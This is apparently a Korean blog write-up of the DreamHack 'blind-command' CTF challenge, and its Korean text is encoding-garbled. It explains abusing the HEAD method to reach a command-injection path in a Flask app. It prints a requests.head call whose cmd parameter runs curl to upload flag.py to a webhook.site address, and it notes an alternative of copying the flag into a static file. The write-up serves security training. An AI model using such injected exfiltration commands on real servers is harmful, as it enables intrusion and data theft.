https://dreamhack.io/wargame/challenges/73
blind-command
Read the flag file XD Reference Server-side Basic Server-side Advanced - Command Injection
dreamhack.io
ํด๊ฒฐ ์กฐ๊ฑด
- ์ฌ์ฉ์๋ก๋ถํฐ GET Method๋ฅผ ์์ฒญ๋ฐ์์ผ ํจ
- cmd๋ผ๋ GET ํ๋ผ๋ฏธํฐ ๊ฐ์ ์ ๋ฌ๋ฐ์์ผ ํจ
- request.method๊ฐ GET์ด ์๋์ด์ผ ํจ
ํด๊ฒฐ ์กฐ๊ฑด 1๋ฒ๊ณผ 3๋ฒ์ด ์ข ๋ชจ์์ด ๋๋ค.
์ฝ๋์ 7๋ฒ์งธ ๋ผ์ธ @app.route('/' , methods=['GET'])์ ์ธํด GET ์ธ์ ๋ค๋ฅธ Method๋ฅผ ์ ์กํ๋ฉด 405(METHOD NOT ALLOWED) ์๋ฌ๊ฐ ๋ฐ์ํ๋ค. ํ์ง๋ง 14๋ฒ์งธ ๋ผ์ธ if๋ฌธ์ ์ํด request.method๊ฐ "GET"์ผ ๊ฒฝ์ฐ์ ์์คํ
์ปค๋งจ๋ ๋ช
๋ น์ด๋ฅผ ์คํํ์ง ์๊ณ ๊ทธ๋ฅ ๋์ด๊ฐ๋ค.
ํด๊ฒฐ ์กฐ๊ฑด์ ๋ง์กฑํ๋ Method๋ค์ ์ฐพ์๋ณธ ๊ฒฐ๊ณผ HEAD๊ฐ ์กด์ฌํ๋ค. HEAD method๋ ์ค์ GET ์์ฒญ๊ณผ ๋์ผํ์ง๋ง ์๋ต ๋ณธ๋ฌธ์ด ์๋ ์์ฒญ์ ํ๊ฒ ๋๋ค.
ํด๊ฒฐ ๋ฐฉ๋ฒ
์์์ ๋งํ ๋๋ก HEAD Method๋ body ์๋ต์ด ์๊ธฐ ๋๋ฌธ์ ํ๋๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํด ์น ํ ์ ์ฌ์ฉํด ์์คํ ์ ์๋ flag.py๋ผ๋ ํ์ผ์ ์ ์กํด์ผ ํ๋ค.
import requests
requests.head("http://host3.dreamhack.games:{YOUR_PORT}?cmd=curl -F 'file1=@./flag.py' https://webhook.site/{YOUR_WEBHOOK_PATH}")
๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ Flask ํ๋ ์์ํฌ์ ๊ธฐ๋ฅ์ ์ด์ฉํด์ mkdir static; cat flag.py > static/result.txt ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ ์ ํ์ผ์ ์์ฑํด ์น ์๋ฒ์ ํ๋๊ทธ ๊ฐ์ด ์ ์ฅ๋ ์ ์ ํ์ผ์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ๋ ์๋ค.
Reference
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - Guest book ํ์ด (0) | 2023.09.07 |
---|---|
DreamHack - CTF์ ์ ์ฉํ ๋๊ตฌ ๋ชจ์(๋๋ฆผํต ํด์ฆ) (0) | 2023.09.07 |
DreamHack - Robot Only ํ์ด (0) | 2023.05.24 |
DreamHack - Mitigation: Stack Canary ์ค์ต ๋ฌธ์ (์นด๋๋ฆฌ ๊ฐ ๊ตฌํ๊ธฐ) (0) | 2023.05.01 |
DreamHack - Return to Shellcode ํ์ด (0) | 2023.05.01 |